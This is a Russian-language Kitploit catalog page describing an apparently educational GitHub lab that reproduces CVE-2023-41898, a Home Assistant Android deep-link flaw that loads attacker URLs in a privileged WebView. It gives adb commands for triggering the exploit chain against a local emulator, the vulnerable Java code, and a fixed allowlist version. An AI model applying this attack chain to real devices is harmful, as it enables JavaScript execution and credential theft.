Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2023-41898_Lab — Разбор CVE-2023-41898: эксплуатация непроверенной глубокой ссылки в Home Assistant Android для загрузки произвольных URL-адресов в привилегированном WebView и утечки поддельного токена. | Kitploit
Инструменты/GitHubGitHub/lazybear8372/cve-2023-41898_lab
Безопасность AndroidАнализ уязвимостейПентестинг мобильных приложенийОбучение и ОбразованиеЛаборатории и Практика
GitHublazybear8372/cve-2023-41898_lab

CVE-2023-41898_Lab

Разбор CVE-2023-41898: эксплуатация непроверенной глубокой ссылки в Home Assistant Android для загрузки произвольных URL-адресов в привилегированном WebView и утечки поддельного токена.

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
31 месяц назадЕщё не проверено

CVE-2023-41898 Unvalidated Deep Link Lab

Это учебная лаборатория уменьшенного воспроизведения, созданная на основе публичного отчёта об уязвимости (GHSL-2023-142) Home Assistant Companion for Android и структуры исходного кода уязвимой версии 2023.8.2.

Реальные сервер, учётная запись и токены Home Assistant не используются. Раскрывается только фиксированный виртуальный токен LAB_TOKEN_CVE_2023_41898_NOT_REAL.

Обзор уязвимости

  • Цель: Home Assistant Companion for Android
  • Затронутые версии: ниже 2023.9.2 (по официальной рекомендации)
  • Исправленная версия: 2023.9.2
  • Классификация: Unvalidated Deep Link Handling / Arbitrary URL Loading in WebView
  • Результат: выполнение произвольного JavaScript, вызов ограниченных нативных функций, возможная кража учётных данных

Структура лаборатории

root@kitploit:~
Attacker App
  │ explicit ACTION_VIEW Intent
  │ data=http://10.0.2.2:8000/exploit.html
  ▼
Victim MyActivity (exported)
  │ 검증 없이 JavaScript-enabled WebView.loadUrl()
  ▼
exploit.html
  │ homeassistant://navigate/http://10.0.2.2:8000/second-stage.html
  ▼
Victim WebViewActivity (privileged WebView)
  │ 공격자 페이지에 externalApp JavaScript bridge 노출
  ▼
가상 LAB_TOKEN 표시

intent-filter в Android manifest лишь определяет, какие URI сопоставляются с неявными Intent, но не проверяет автоматически data URI для Intent, в которых компонент указан явно.

Компоненты

  • victim/: приложение, воспроизводящее уязвимый обработчик deep link и привилегированный WebView
  • attacker/: приложение, отправляющее явный Intent в exported Activity приложения-жертвы
  • web/: локально размещаемые страницы атаки первого и второго этапов
  • dist/: проверенные debug APK
  • UPSTREAM.md: соответствие между исходным кодом и реализацией лаборатории

Сборка

Требования: JDK 17 или выше, Android SDK 36, кэш Gradle/Android Gradle Plugin или подключение к интернету.

root@kitploit:~
./gradlew :victim:assembleDebug :attacker:assembleDebug

Установка и практика

Запускайте только на разрешённом эмуляторе или тестовом устройстве.

1. Установка APK

root@kitploit:~
adb install -r dist/cve-2023-41898-victim-debug.apk
adb install -r dist/cve-2023-41898-attacker-debug.apk

2. Запуск локальной страницы атаки

Выполните следующую команду в корне лаборатории.

root@kitploit:~
python3 -m http.server 8000 --directory web

В стандартном эмуляторе Android Studio адрес 10.0.2.2 указывает на loopback хост-ПК. При использовании реального тестового устройства измените web/exploit.html и URL в приложении атакующего на LAN IP ПК.

3. Проверка хода атаки

  1. Установите приложения CVE-2023-41898 Victim и CVE-2023-41898 Attacker.
  2. Запустите локальный HTTP-сервер.
  3. В приложении Attacker нажмите Запустить уязвимый сценарий deep link.
  4. Первая страница атаки переходит по внутреннему URL homeassistant://navigate/.
  5. Проверьте, что во втором WebView загружается страница атакующего и отображается LAB_TOKEN_CVE_2023_41898_NOT_REAL.

Первый этап можно вызвать через ADB и без приложения атакующего.

root@kitploit:~
adb shell am start \
  -n lab.cve202341898.victim/.MyActivity \
  -a android.intent.action.VIEW \
  -d 'http://10.0.2.2:8000/exploit.html'

Уязвимый код и направления исправления

Уязвимая реализация загружает внешний URI как есть.

root@kitploit:~
Uri urlToLoad = getIntent().getData();
webView.loadUrl(urlToLoad.toString());

При исправлении необходимо проверять scheme, host, port и path разобранного URI по строгому allowlist. Не используйте строковое сравнение startsWith из-за риска обхода через userinfo ([email protected]), поддомены и кодирование.

root@kitploit:~
Uri uri = getIntent().getData();
boolean trusted = uri != null
        && "https".equals(uri.getScheme())
        && "my.home-assistant.io".equals(uri.getHost())
        && uri.getPort() == -1
        && uri.getPath() != null
        && uri.getPath().startsWith("/redirect/");
if (!trusted) {
    finish();
    return;
}

Кроме того, удалите из WebView необязательные JavaScript и JavascriptInterface и применяйте ту же проверку URL ко всем навигациям и перенаправлениям.

Границы безопасности и отличия от оригинала

  • Вместо сборки всего исходного приложения воспроизведён только уязвимый поток данных в небольшом Java-проекте.
  • Не содержит реальных имён пакетов, хранилища учётных данных, серверного взаимодействия и функций умного дома.
  • Вместо реальных токенов аутентификации используется только фиксированный виртуальный токен.
  • Используется только локальный HTTP-сервер хост-ПК, а не интернет-сервер атакующего.

Справочные материалы

  • GitHub Security Lab GHSL-2023-142: https://securitylab.github.com/advisories/GHSL-2023-142_Home_Assistant_Companion_for_Android/
  • Рекомендация по безопасности Home Assistant GHSA-jvpm-q3hq-86rg: https://github.com/home-assistant/core/security/advisories/GHSA-jvpm-q3hq-86rg
  • Тег исходного кода уязвимой версии 2023.8.2: https://github.com/home-assistant/android/tree/2023.8.2
Скачать инструмент